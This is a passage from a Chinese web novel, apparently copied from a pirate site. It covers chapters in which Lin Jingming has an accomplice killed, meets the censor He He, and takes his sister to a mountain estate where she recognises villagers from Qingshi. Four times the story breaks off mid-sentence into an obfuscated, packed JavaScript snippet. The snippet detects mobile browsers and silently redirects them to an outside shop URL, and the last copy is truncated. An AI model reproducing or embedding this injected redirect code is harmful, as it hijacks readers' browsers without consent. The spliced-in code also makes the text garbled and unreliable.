“第三次,”他的声音陡然降到冰点,眼神锐利如刀,“又是个女人,还带着那个妞妞,还要跑。”
他顿了顿,向前走了一步,靴尖几乎碰到李大昌的脸。烛光在他身后,将他的脸笼罩在阴影里,只有那双眼睛,在黑暗中亮得吓人。
“她处理起来,可真麻烦。”林景明的声音压得很低,却字字清晰,带着一种令人毛骨悚然的平静,“你不是把她两喂狼了嘛。结果还被人看见了。你知道为了藏住青石村那点破事,为了不让那些不该知道的人知道……我杀了多少人吗?”
他的语气忽然变得烦躁,像是想起了什么极其厌恶的、却又不得不做的脏活。
“那些看见的,听见的,可能猜到的……一个都不能留。”他缓缓地说,每个字都像冰珠子砸在地上。
他俯下身,凑近李大昌耳边,声音轻得像耳语,却带着彻骨的寒意:
“现在,轮到你了,李大昌。”
“你的‘苦劳’,就是让我替你擦了三次屁股,还额外搭进去好几条人命。”
“你说,你的命,还值钱吗?”
李大昌彻底瘫软了,像一具被抽走了所有骨头的皮囊。他张着嘴,却发不出任何声音,只有眼泪和口水混着血沫,无声地流下来。
林景明直起身,掏出一块雪白的丝帕,慢条斯理地擦了擦手,仿佛刚才碰到了什么脏东西。
然后,他将丝帕随手扔在李大昌脸上。
“处理干净。”他转身,对一直沉默站在阴影里的两个黑衣汉子吩咐道,语气恢复了惯常的平淡,“还有抓李大昌来邀功的那几个人也一起处理了。”
“是,大少爷。”
林景明不再看地上那摊烂泥一眼,迈步走向地下室的出口。他的背影挺拔从容,靴子踩在石阶上,发出清晰而稳定的声响,渐渐远去。
地下室的门,在他身后,无声地合拢。
处理完李大昌的事,林景明的心情难得地轻快起来。
夜色已深,连州城却并未沉睡。最繁华的东市大街依旧灯火通明,沿街的铺子大多还开着门,酒旗在晚风中招展。空气中飘荡着烤肉的焦香、甜酒的醇厚,还有各色小吃的诱人气味。街上来往的行人不少,有刚下工的匠人,有谈生意的商贾,也有趁着夜色出来寻欢的富家子弟。
林景明换了一身月白色的锦缎长衫,外罩一件银灰色暗纹的薄绸披风,腰间系着羊脂白玉佩,手里玩着一柄象牙折扇。他步履从容,嘴角噙着一丝若有若无的笑意,沿着青石板铺就的街道信步而行。
街边的“醉仙楼”是连州城有名的老字号,三层飞檐,灯火通明。一楼大堂临街的窗子都敞开着,食客们的谈笑声、杯盘碰撞声、跑堂伙计的吆喝声,混杂着食物的香气,从窗内飘散出来。
林景明的目光随意扫过,忽然在一扇窗边顿住了。
靠窗的那张八仙桌旁,坐着几个人。为首的女子穿着一身深青色劲装,头发利落地束在脑后,正低头夹菜。她坐姿笔挺,即便是在吃饭,脊背也没有丝毫松懈。虽然换了便装,但那眉眼间的锐利,那种久居官场、执掌刑狱的冷肃气质,林景明一眼就认出来了——何翯。
她身边还坐着三四个同样穿着便装的汉子,虽然也在吃饭喝酒,但眼神警惕,坐姿戒备,显然是训练有素的官差。
林景明脚步未停,脸上的笑意更深。他整了整衣襟,收起折扇,径直朝醉仙楼走去。
“哟!这么巧啊!”清朗的声音在窗边响起,带着恰到好处的惊喜。
何翯夹菜的筷子一顿,缓缓抬起头。
林景明已经站在了桌前,脸上是无可挑剔的殷勤笑容,朝何翯拱手行礼:“何御史也来品尝连州特产美味?真
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119619|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是……缘分。”
他笑得眉眼弯弯,语气热络,仿佛真是偶遇故人。
何翯放下筷子,抬眼看他。她的眼神很平静,没有惊讶,也没有热情,只是那样淡淡地看着他,像是在打量一件寻常物件。
“林公子。”她开口,声音不高,却清晰,“怎么也在连州?”
“快中秋了嘛。”林景明笑容不减,语气轻松自然,“林某总得回本家探望探望家人,尽尽孝道。倒是何御史……”他话锋一转,笑容里带上一丝恰到好处的关切,“才是真的辛苦。中秋佳节,本该阖家团圆,您却还在外奔波办案。这份为国为民的操劳,实在令人敬佩。”
他说得诚恳,眼神里也满是真诚的赞叹。
何翯看着他,嘴角几不可察地动了一下。那不是一个笑容,更像是一种极淡的嘲讽。
“林公子过誉了。”她声音平淡,听不出情绪,“我们这些人,不过是靠体力吃饭,风里来雨里去,做些下等活计罢了。哪里比得上林公子……”她顿了顿,目光在林景明那身价值不菲的衣袍上扫过,“脑子灵光,坐享其成,便能锦衣玉食,逍遥自在。”
这话说得客气,但字字都带着刺。
林景明脸上的笑容丝毫未变,反而更灿烂了些。他像是完全没听出话里的讥讽,反而顺着话头笑道:“何御史这话可折煞林某了。林家不过是做些小本生意,勉强糊口罢了。倒是何御史您,代天巡狩,执掌刑宪,才是真正的国之栋梁,民之青天。”
他话说得漂亮,姿态放得极低,眼神却始终明亮坦然,看不出半点心虚或闪躲。
何翯看着他,没说话。她端起手边的茶杯,慢慢喝了一口。茶水已经凉了,入口微涩。
桌上其他几个官差都停下了筷子,目光在林景明和何翯之间来回,气氛有些紧张。
林景明却像是毫无所觉,依旧笑容满面,甚至朝跑堂招了招手:“伙计!这桌的酒菜记在我账上!再添几个招牌菜,算我给何御史接风洗尘!”
“哎!好嘞!”跑堂高声应道。
“不必了。”何翯开口,声音依旧平淡,“公务在身,不便久留。林公子的好意,心领了。”
她放下茶杯,站起身。身边的官差也立刻跟着站起来。
“何御史这就要走?”林景明脸上露出恰到好处的遗憾,“连州城的夜景还是不错的,何不……”
“改日吧。”何翯打断他,语气不容置疑,“林公子自便。”
她朝林景明微微颔首,算是告别,然后转身,带着手下径直朝酒楼外走去。步伐干脆利落,没有丝毫停留。
林景明站在原地,看着她的背影消失在门口,脸上的笑容慢慢淡去,但嘴角的弧度依旧保持着。
他转过身,走到刚才何翯坐过的位置,慢慢坐下。
桌上还摆着没吃完的菜,半壶酒,几个空碗。
林景明拿起何翯用过的那个茶杯,杯沿还留着浅浅的唇印。他盯着那个印子看了片刻,放下茶杯,指尖在光滑的瓷面上轻轻摩挲。
窗外,连州城的灯火依旧璀璨。街上行人如织,欢声笑语不断。
39. 第三十九章 假面之下
林景明从连州城回到长桥县本家时,刚好是傍晚。
夕阳的余晖将林府高耸的院墙染成一片暗金色。他勒马停在府门前,目光缓缓扫过院内忙忙碌碌的家仆。他忽然想起母亲在信中那些荒诞的话,他的妹妹居然还能接洽“青料”,到底是谁敢跟林家玩这么离谱的把戏。
“大少爷!”林福远远冲他招手,小跑着过来要给他牵马。这位在林府干了一辈子的老管家,头发已全白,跑动时脚步已不如年轻时利落,脸上堆着那副林景明从小看到大的、带着几分卑微的殷勤笑容。
林景明没有立刻下马,他的目光越过林福花白的头顶,看向府邸深处,那个属于林晚琪的院落方向。梧桐树的枝叶在晚风中轻轻摇曳,投下斑驳晃动的阴影。
他忽然想起妹妹刚出生的时候。那时候他五岁,对这个粉雕玉琢、总是睁着大眼睛好奇打量世界的小肉团子,是真心喜欢的。她会走路后,就像个小尾巴似的跟着他,奶声奶气地喊“哥哥”,哪怕她反应总是慢半拍,但笑起来的样子,像院子里最灿烂的向日葵。
后来,她痴傻的症状越来越明显,终日呆坐,不言不语。父亲觉得丢脸,母亲暗自垂泪,府里的下人看她的眼神也从最初的怜悯,渐渐变成了避之不及的嫌恶。只有林景明,偶尔还会去看看她。他会带些外面买的小玩意儿放在她面前,像是彩绘的泥人、转起来哗哗响的风车、叮当作响的铜铃。她那双懵懂的眼睛里会闪过一丝属于孩童的好奇,伸出小手,笨拙地去碰那些鲜艳的色彩。那时候的林景明,看着这个永远长不大的妹妹,心里除了怜悯,确实也有过那么一点模糊的责任感:她是他的妹妹,一个需要被庇护的、无害的累赘。他可以,也应该,让她在这深宅大院里平静地过完这一生。
只可惜……命运从不按人设想的剧本走。
林景明收回目光,翻身下马,将缰绳和马鞭随手交给迎上来的林福。动作干脆利落,没有一丝多余的情绪。
“父亲怎么样了?”他问。
林福连忙躬身:“回大少爷,老爷服了药,已经缓过来了,只是还需静养。大夫说……不能再受刺激。”
“嗯。”林景明应了一声,迈步朝内院走去,靴子踩在青石板上,发出清晰而沉稳的声响。“母亲呢?”
“夫人在老爷房里照看着,寸步不离。”林福小步跟上,低声补充,“夫人这几日……也憔悴了许多。”
林景明点点头,脚步未停,却忽然问:“晚琪呢?”
林福愣了一下,似乎没想到大少爷会先问起二小姐,连忙道:“二小姐……在自己院里。夫人吩咐了,让二小姐好生静养,无事不要打扰。”
“静养?”林景明脚步微顿,侧头看了林福一眼。夕阳的余晖正好落在他半边脸上,照亮了他眼中那片冰冷的审视,而另一半脸隐在阴影里,显得格外深沉。他嘴角勾起极淡的弧度,那弧度里没有温度。“她最近……可有什么特别的举动?”
林福有些茫然:“二小姐……还是老样子。”
林景明抬眼,又望向林晚琪院落的方向。那里,几株高大的梧桐树探出墙头,枝叶在晚风中轻轻摇曳。
“知道了。”他淡淡道,“你先去忙吧。我先去看看父亲。”
“是,大少爷。”
林承业的卧房里弥漫着浓重的药味。他半靠在床头,脸色灰败,嘴唇依旧没什么血色,但眼神已经恢复了清明,只是那清明里沉淀着挥之不去的焦虑与疲惫。林夫人坐在床边的绣墩上,手里端着一碗温着的参汤,用小勺轻轻搅动,眉宇间锁着深深的忧虑。
见林景明进来,林夫人连忙起身:“景明回来了。”声音里带着如释重负,又混杂着更多的不安。
林景明朝林夫人微微颔首,走到床前,看着林承业:“父亲感觉如何?”
林承业摆摆手,声音有些虚弱:“还死不了……外面怎么样了?”
“何翯还在查,盯得很紧。”林景明在床边的椅子上坐下,姿态放松,语气却带着不容错辨的凝重,“‘永丰号’的线彻底断了,疤爷死了,李大昌也处理干净了。但何翯似乎没打算就此罢手,她的人还在码头区活动,而且……开始往西岭方向留意了。”
“西岭……”林承业的呼吸急促了一下,牵扯到胸口,引起一阵低咳。林夫人连忙上前替他抚背。
林景明等父亲平复下来,才继续道:“眼下最麻烦的,是那批莫名其妙记在晚琪名下的‘青料’。我让人去查了,单据、印章、经手人……表面上看,手续齐全,像是正常入库。但入库的时间、经办的仓管,都透着蹊跷。经办的那个老仓管,在‘青料’入库后第二天,就‘突发急病’死了。他家里人说,死前那晚,有人看见他在码头酒馆喝得烂醉,嘴里嘟囔着什么‘报应’、‘不该贪那点银子’。”
林承业的脸色更难看了:“灭口?”
“十有八九。”林景明的声音冰冷,“对方做得很干净,没留下直接把柄。但这恰恰说明,这不是简单的栽赃陷害。对方的目的,似乎不是要立刻扳倒林家,而是……要把晚琪,或者说,要把‘林晚琪’这个名字,拖进这潭浑水里。”
房间里陷入短暂的沉默,只有烛火偶尔噼啪作响。
林承业忽然道:“景明,你……是不是也觉得晚琪她……不太对劲?”
林景明抬眼,看向父亲,没有立刻回答。烛光在他脸上投下明明暗暗的阴影,让他的表情显得格外深沉难测。
林承业喘了口气,继续道:“上次李大昌来府里,临走前,私下跟我提过一句。他说……他好像在别处见过晚琪,不是小时候痴傻的样子,是……更成熟的模样。我当时只当他是胡言乱语,或者认错了人,没往心里去。可现在……”
“李大昌真这么说过?”林景明的眼神锐利起来。
“嗯。”林承业点头,脸上露出困惑与一丝不易察觉的恐惧,“他说得很含糊,只道‘眼熟’,‘像是故人’,但神色古怪。我当时忙着应付御史的事,又觉得他一个师爷,怎么可能认识深居简出的晚琪?便没深究。现在想来……”
现在想来,李大昌或许真的认识现在的林晚琪。不是在长桥县林府,而是在别处!
林景明的心跳骤然加速,不是因为恐惧,而是一种近乎冷酷的兴奋。如果……如果现在的林晚琪,真的不是原来那个痴儿,而是某个与李大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119620|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
昌、与“永丰号”那条线有瓜葛的人。那么她突然的“清醒”,她对清河镇的恐惧,她那些古怪的言行和问题……都有了另一种可能的解释!她不是奇迹,她是一个冒牌货!一个带着秘密、甚至可能威胁到林家安全的闯入者!
这个认知,像一把钥匙,瞬间打开了林景明心中所有疑虑的锁。那些残存的、对妹妹的怜悯和模糊的责任感,在这一刻,被更强大的、对家族利益的盘算和冷酷的决断,彻底碾碎。
“父亲,”他缓缓开口,声音不高,却带着一种不容置疑的决断,“那批‘青料’的事,我会继续查,但眼下,有另一件事,或许更重要。”
林承业看着他:“什么事?”
“我想带晚琪,去一趟青石村。”林景明一字一句道。
“什么?!”林夫人失声惊呼,“景明!你疯了?!那种地方……晚琪她怎么能去?!而且现在……”
“母亲,”林景明打断她,语气依旧平稳,却带着一种不容反驳的压力,“正因为现在情况特殊,才更需要弄清楚一些事。李大昌说他‘认识’晚琪,而李大昌最后出现、并且与‘永丰号’人口贩卖牵扯最深的地方,就是青石村一带。如果晚琪真的与那里有什么我们不知道的关联,那么,带她去哪里是最直接的办法可以印证我们的猜想。”
他顿了顿,目光扫过父母惊疑不定的脸,声音压得更低,也更冷:“我们需要知道,她到底是谁。这关系到,我们该如何处置她,才能让林家安然无恙。”
“处置”两个字,他说得极轻,却像两枚冰锥,狠狠扎进林承业和林夫人的心里。
房间里死一般寂静。烛火跳动,三人的影子在墙壁上,扭曲、拉长,纠缠在一起,如同黑暗中无声角力的鬼魅。
林承业看着儿子那双冷静得近乎非人的眼睛,感到一阵彻骨的寒意。他意识到,儿子不是在商量,而是在告知一个决定。一个可能非常冷酷的决定。
良久,林承业闭上眼,长长地、疲惫地叹了口气。
“……你打算什么时候去?”
“越快越好。”林景明站起身,整理了一下衣袖,“就这两天。我会安排好一切。对外,就说带妹妹去城外散心,探望一处与母亲娘家有旧的田庄。”
他看向林夫人:“母亲,晚琪那边,还需要您去说。就说……我久未归家想跟她亲近亲近,特意寻了一处清静山野,陪她散散心,看看不一样的景致。”
林夫人的嘴唇颤抖着,想说什么,却在对上儿子那双不容置疑的眼睛时,所有的话都哽在了喉咙里。她最终,只是无力地点了点头。
林景明最后看了一眼床上脸色灰败的父亲,转身,步履沉稳地走出了房间。
房门在他身后轻轻合拢。
卧房里,只剩下浓得化不开的药味,和一片令人窒息的死寂。
林夫人端着那碗早已凉透的参汤,手抖得厉害,汤勺碰在碗壁上,发出细微却刺耳的叮当声。
林承业睁开眼,望着帐顶繁复的绣花。他知道,有些路,一旦踏上,就再也无法回头了。而那个被他藏在深闺十五年、痴傻又无辜的女儿,或许从来就不曾真正属于过这个家。
40. 第四十章 兄长的邀请
父亲病倒后,府里的气氛变得很奇怪。母亲不再每日来督促我习字绣花,连春竹和秋穗也变得格外沉默。整个林府像一只受惊的蚌,紧紧合拢壳,连一丝缝隙都不肯露。
我被静养在自己的小院里,说是静养,更像是软禁。院门虽未上锁,但春竹和秋穗看我的眼神里总带着一种欲言又止的紧张。我想去探望父亲,她们便支支吾吾,说夫人吩咐了,老爷需要绝对静养,任何人不得打扰。任何人,自然也包括我。
我坐在窗边的绣墩上,手里捏着一本摊开的诗集,却一个字也看不进去。阳光很好,照在院子里那几株高大的梧桐树上,枝叶在风中轻轻摇晃,在地上投下斑驳晃动的影子。那影子让我想起父亲书房里那盏摔碎的青瓷茶盏,想起母亲看我的眼神——冰冷,疏离,像在看一个不该出现在这里的陌生人。想起母亲提及那批莫名其妙记在我名下的“青料”。想起在连州那个自称“班班”的帮工想要见我。
“小姐,”春竹的声音在身后响起,带着小心翼翼,“大少爷……来了。”
我愣了一下转头。林景明站在门口,他穿着一身月白色的锦缎长衫,外罩银灰色暗纹的薄绸披风,腰间系着羊脂白玉佩。阳光从他身后照进来给他整个人镀上一层柔和的光晕,他脸上带着温和的笑意眼神明亮清澈像秋日里最干净的湖水。
“晚琪,”他开口声音清朗悦耳,“在看书?”
我连忙放下诗集站起身:“大哥。”
“不必拘礼。”林景明走进来,目光在屋里扫了一圈最后落在我脸上,“气色看着还好。母亲说你最近身子虚要多静养。”
“我……我没事。”我低下头手指无意识地绞着衣角。
林景明走到窗边看着院子里那几株梧桐树。
“这树长得真好。”他忽然说,“我记得你小时候最喜欢在树下捡梧桐叶,说要夹在书里当书签。”
我怔住了。小时候……捡梧桐叶?我完全没有属于“林晚琪”童年的记忆。平时母亲偶尔提起也总是语焉不详,只说“你那时候身子弱,大多时候都在屋里”。我脑子里瞬间一片空白。
我听见自己的声音干涩而迟疑:“大哥……记得?”
林景明转过身看着我,脸上的笑意淡了些,眼神里多了几分我看不懂的复杂情绪。
“记得一些。”他说,“你那时候很安静,总是一个人坐着,看什么都好奇,但又什么都不太明白。”林景明的声音很轻,像在回忆什么遥远而模糊的往事。“后来……你病得越来越重,很少出来。”
他顿了顿,目光始终落在我脸上:“再后来你就醒了。”
“醒了”他说这个词的时候语气很平淡,没有惊喜、没有欣慰。
“大哥,”我连忙岔开话题,不想再继续这个令我不安的话题:“……这次回来,能待多久?”
林景明走到桌边拿起那本诗集翻阅:“看情况。父亲病了,家里有许多事需要处理,要待些时日。”
他放下诗集看向我,脸上重新露出温和的笑意:“晚琪,你想不想出去走走?”
“出去?”我愣住了。
“嗯。”林景明点点头,“整日闷在府里对身子也不好。城外有处庄子风景不错也清静。我正好要去那边办点事,可以顺路带你过去散散心。”
散心?我看着他脸上无可挑剔的温和笑容心里却莫名地涌起一股寒意。父亲病倒,母亲态度冰冷,府里气氛诡异……这个时候,大哥要带我出去散心?
“我……我身子还没好利索,”我听见自己说声音有些发颤,“母亲说……要静养。”
“静养,也不是要一直关在屋里。”林景明的声音依旧温和,却带着一种不容置疑的坚持,“出去透透气,看看不一样的景致,对心神也有好处。母亲那边,我会去说。”他走到我面前微微俯身看着我:“晚琪,你……是不是在怕什么?”他的声音很轻很温和像在哄一个受惊的孩子。但我却觉得那双清澈的眼睛里藏着我看不透的东西。
“我……没有。”我低下头避开他的目光。
“那就好。”林景明直起身,“明天一早,我来接你。带几件换洗衣裳就好,庄子那边什么都有。”他顿了顿补充道:“就我们兄妹两个,说说话,看看风景。你也该多出来走走了。”说完他又朝我笑了笑,转身走了出去,脚步声渐渐远去。
我站在原地浑身发冷,窗外梧桐树的影子在地上摇晃斑驳破碎像某种不祥的预兆。
第二天清晨,天色微明,林景明果然来了。
他只带了一个沉默寡言的车夫,一辆外表朴素但内里宽敞舒适的青帷马车。春竹和秋穗被留在府里,母亲只说了句去吧,让我安心去散心。
我换上便于行动的浅碧色襦裙,头发简单绾起。春竹帮我收拾了一个小小的包袱,里面有两套换洗衣物和几件简单的首饰。
马车驶出林府侧门,车轮碾过青石板路,发出辚辚的声响。我掀开车窗帘子一角,看着熟悉的街巷、店铺、行人迅速向后退去。林景明坐在我对面,闭目养神。他今天是一身更简单的靛蓝色直裰,少了些贵气,多了几分书卷气。阳光透过车窗帘子的缝隙,在他脸上投下明暗交错的光影,让他那张俊朗的脸看起来有些莫测。
马车出了城,走上官道。路旁的景色渐渐变得开阔,田野、村庄、远山……一切都笼罩在初秋清晨薄薄的雾气里,显得宁静而祥和。
但我却无法放松。林景明说要去的庄子,在城西。城西……我记得,西岭就在那个方向。青石村也在那片山里。还有……那个“狼标子”,我上一次进入脑机实验死亡后,留下的那具可笑的遗骸。
“大哥,”我忍不住开口,声音在安静的车厢里显得有些突兀,“我们要去的庄子……远吗?”
林景明睁开眼,看向我,露出一贯的温和微笑:“不算远,一个多时辰的路。怎么,坐累了?”
“没有。”我摇摇头,“只是……有些好奇。”
“庄子就在西岭脚下,风景很好。”林景明语气欢快,“那边空气也好,适合休养。你以前没去过那边吧?”
“没有。”我老实回答。成为林晚琪后,我去过最远的地方就是清河镇。
“嗯,”林景明点点头,目光投向窗外,“那边……以前是片荒地,后来父亲买下来,开了几片药田,建了个小庄子,偶尔去住住,清静。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119621|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
庄子……大吗?”我试探着问。
“不大,就几间屋子,一个院子,两个老仆看着。”林景明看向我眼神关切,“怎么,怕地方简陋,住不惯?”
“不是……”我低下头。
“放心,”林景明的声音带着安抚,“虽然简陋,但干净。你去了,就安心住着,想做什么就做什么,不用拘束。”
他的语气越是温和,我心底的不安就越是强烈。这不像是一次寻常的兄妹出游。太突然,太……刻意。
马车又行驶了约莫半个时辰,拐上了一条更窄的土路。路况变得颠簸起来,两旁是茂密的树林,阳光被枝叶切割得支离破碎,在车厢内投下晃动的光影。
林景明不再说话,又闭上了眼睛,仿佛真的在养神。
我紧紧攥着袖口,掌心渗出冷汗。这条路……越来越偏僻了。
终于,马车停了下来。
“到了。”林景明睁开眼,率先下了车。
我跟着下车,脚踩在松软的泥土上。眼前是一片开阔的山谷,谷底有一条清澈的小溪潺潺流过。山谷向阳的坡地上,果然有几间白墙灰瓦的房舍,围成一个不大的院落。院子周围开垦出几片整齐的田地,种着些我不认识的植物,应该就是所谓的药田。远处,是苍翠连绵的西岭山脉,在秋日晴空下,显得沉静而巍峨。风景确实不错,甚至可以说很美。空气清新,带着草木和泥土的气息,远比城里洁净。
但这里……太安静了。除了溪水声和偶尔的鸟鸣,听不到任何人声。那几间房舍也静悄悄的,不见炊烟,不见人影。
“庄子里的老仆可能去山里采药了。”林景明似乎看出了我的疑惑,解释道,“走吧,我们先进去。”
他引着我走向院子。院门是简单的木栅栏,虚掩着。推开院门,里面是一个干净整洁的小院,铺着青石板,角落里种着几丛菊花,开得正盛。正房是三间屋子,门窗紧闭。
林景明推开正房的门,里面陈设简单,但桌椅床榻俱全,打扫得很干净,只是透着一股久无人居的清冷气息。
“你住东厢房,”林景明指了指右边,“我已经让人提前打扫过了。西厢房我住。中间这间是堂屋,可以用饭。”
我点点头,抱着包袱走进东厢房。房间不大,一张床,一张桌子,两把椅子,一个简陋的衣柜。床上铺着干净的粗布被褥,桌上放着一个陶制水壶和两个粗瓷碗。窗户开着,能看到院子里的菊花和远处的山景。
“你先休息一下,收拾收拾。”林景明站在门口,声音温和,“我去看看老仆回来没有,顺便弄点吃的。”
“好。”我应道。
林景明转身出去了,脚步声渐渐远去。
我独自站在房间里,环顾四周。这里的一切都透着一种刻意营造的田园静谧感,但那种过分的安静,却让我心里发毛。我走到窗边,向外望去。林景明正朝着院子后面走去,那里似乎还有几间更矮小的屋子,可能是厨房或柴房。他的背影在秋日的阳光下,显得挺拔而从容。
我收回目光,看向远处的西岭。层峦叠嶂,郁郁葱葱。青石村就在那片山的深处。
大哥带我来这里,真的只是散心吗?
41. 第四十一章 识破
晚膳的时候,林景明对我说:“明天跟我去山上转转吧,林家在山里也有种植场,有好些稀罕的草药带你见见。”
我一下子呛了口汤,咳个不停。
“你看看你,多大人了,还当你是小孩呢。喝个汤还呛着。”林景明完美诠释体贴的大哥,走过来给我顺气。我有些摸不清状况,他的难道真的跟我是兄妹情深吗?
第二天清晨,林景明早早来敲我的房门。
“晚琪,起了吗?今日天气好,正适合上山。”
我昨夜几乎没怎么合眼,脑子里反复回想着林景明的话语是何意味。此刻听到他的声音,心脏又是一紧。
“就来。”我应了一声,深吸一口气,强迫自己镇定下来。也许真的是我想多了?大哥只是单纯想带我散心,看看林家的产业?
我换上便服,头发依旧简单绾起。镜中的少女脸色有些苍白,眼底带着淡淡的青影。我用力揉了揉脸颊,试图让气色看起来好一些。
推开门,林景明已经等在院子里。他今天换了一身更利落的靛蓝色短褂,外面罩了件半旧的棉布坎肩,看起来像个寻常的庄户管事,只是那过于挺拔的身姿和清朗的面容,与这身打扮格格不入。
“走吧。”他朝我笑了笑,递过来一根打磨光滑的竹杖,“山路不好走,拄着稳当些。”
我接过竹杖,跟在他身后,走出了小院。
清晨的山谷,空气清冽,带着露水和草木的芬芳。溪水潺潺,鸟鸣清脆。这本该是令人心旷神怡的景致,可我却只觉得每一步都踩在紧绷的弦上。
林景明似乎对山路很熟悉,带着我沿着一条被踩踏出来的小径,向山谷深处走去。路越来越陡,两旁的树木也越发茂密,阳光只能透过枝叶的缝隙,洒下斑驳的光点。
“这片山里,气候湿润,土壤也特别,很适合种一些喜阴的药材。”林景明一边走,一边像导游般介绍着,“父亲早年就看中了这里,陆陆续续买下了不少山地。”
我默默听着,目光警惕地扫视着四周。除了我们,似乎没有其他人。
走了约莫半个时辰,眼前豁然开朗。我们来到一处相对平缓的山坡,坡地被开垦成一层层梯田,种满了各种我不认识的植物。有的开着细小的白花,有的叶片肥厚油绿,空气中弥漫着一股复杂的、略带苦涩的药草气味。
这里,就是林家的药田?
我放眼望去,梯田里零星有几个穿着粗布衣裳、戴着斗笠的人影,正在弯腰劳作。距离太远,看不清面容。
“走,下去看看。”林景明率先走下田埂。
我的心跳不由自主地加快。越靠近那些劳作的人,一种莫名的、混杂着熟悉与恐惧的感觉就越发强烈。
我们沿着田埂往下走。一个正在给一垄开着紫色小花的植物除草的老汉抬起头,看到我们,愣了一下,随即放下手里的锄头,有些局促地搓着手。
“大……大少爷。”老汉的声音带着浓重的山里口音,他显然认识林景明,态度恭敬中带着畏惧。
“嗯。”林景明点点头,语气随意,“老陈,今年这紫云英长势如何?”
“还……还行,就是前阵子雨水多了点,有些烂根。”老汉低着头回答。
林景明“嗯”了一声,没再多问,继续往前走。
我紧跟在他身后,目光却不由自主地落在那老汉身上。他看起来六十多岁,皮肤黝黑,满脸深刻的皱纹,双手粗糙,指甲缝里塞满了泥土。他……有点眼熟?不,不可能,我怎么会认识这里的药农?
我们继续沿着梯田往下走。又遇到了几个正在劳作的男女,有老有少。他们看到林景明,都停下手中的活计,恭敬地行礼,眼神里是如出一辙的敬畏和……麻木?
林景明偶尔会问一两句田里的事,语气平淡,像在检查自家的产业。那些药农的回答也都小心翼翼,言简意赅。
一切看起来都很正常。正常的东家巡视,正常的佃户劳作。
直到我们走到最下面一层梯田。
这里种的是另一种植物,茎秆细长,叶片呈深绿色,边缘带着锯齿。几个妇人正蹲在田里,用小铲子仔细地剔除杂草。
其中一个妇人听到脚步声,抬起头来。
四目相对的瞬间,我的呼吸骤然停止。
那是一张我绝不会认错的脸!虽然比记忆中苍老了许多,皱纹更深,肤色更黑,但那眉眼,那轮廓……是青石村的王婶!那个曾经在阿山家隔壁,偶尔会偷偷塞给我半个窝头的妇人!
王婶看到我,眼睛猛地睁大,手里的铲子“哐当”一声掉在地上。她脸上的表情瞬间凝固,先是极度的震惊,随即是难以置信的茫然,最后变成了深切的恐惧和一种近乎哀求的瑟缩。
她张了张嘴,似乎想说什么,但目光触及我身边的林景明,又像被烫到一样猛地低下头,慌乱地捡起铲子,重新开始除草,动作却僵硬得不像话,铲子好几次差点铲到自己的脚。
我的血液仿佛在瞬间冻结,四肢冰凉。王婶……她怎么会在这里?!她不是应该在青石村吗?难道……青石村的村民,都被弄到这片药田来了?!
这个念头让我浑身发冷。
林景明似乎没有注意到王婶的异常,或者说,他注意到了,却毫不在意。他指着田里的植物,对我说道:“晚琪,你看,这是断肠草,名字吓人,却是治风湿痹痛的良药。不过毒性也大,采摘和处理都要格外小心。”
他的声音依旧温和,像在耐心地教导妹妹认识自家的产业。
但我却一个字也听不进去了。我的目光死死盯着王婶,看着她那双布满老茧、微微颤抖的手。她不敢再看我,只是拼命地、机械地重复着除草的动作,仿佛想把自己埋进土里。
“晚琪?”林景明的声音再次响起,带着一丝疑惑,“怎么了?脸色这么白?是不是累了?”
我猛地回过神,对上他关切的目光。那双清澈的眼睛里,此刻映着我苍白惊恐的脸。
“没……没什么。”我听见自己干涩的声音,“可能……有点不习惯山路。”
“是吗?”林景明看着我,嘴角勾起一抹意味深长的弧度,“那……我们再去那边看看?那边种了几株很稀罕的七叶莲,据说有安神定惊的奇效,正好适合你。”
他的语气轻松自然,仿佛真的只是在介绍药田里的珍品。
但我却感到一股寒意,顺着脊椎爬上来。安神定惊……他是在暗示什么吗?
“大哥,”我努力让自己的声音听起来平稳,“这些药农……都是本地人吗?”
林景明看了我一眼,眼神平静无波:“大部分是。也有些是……别处迁来的。”他顿了顿,补充道,“去年那场大水,冲垮了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 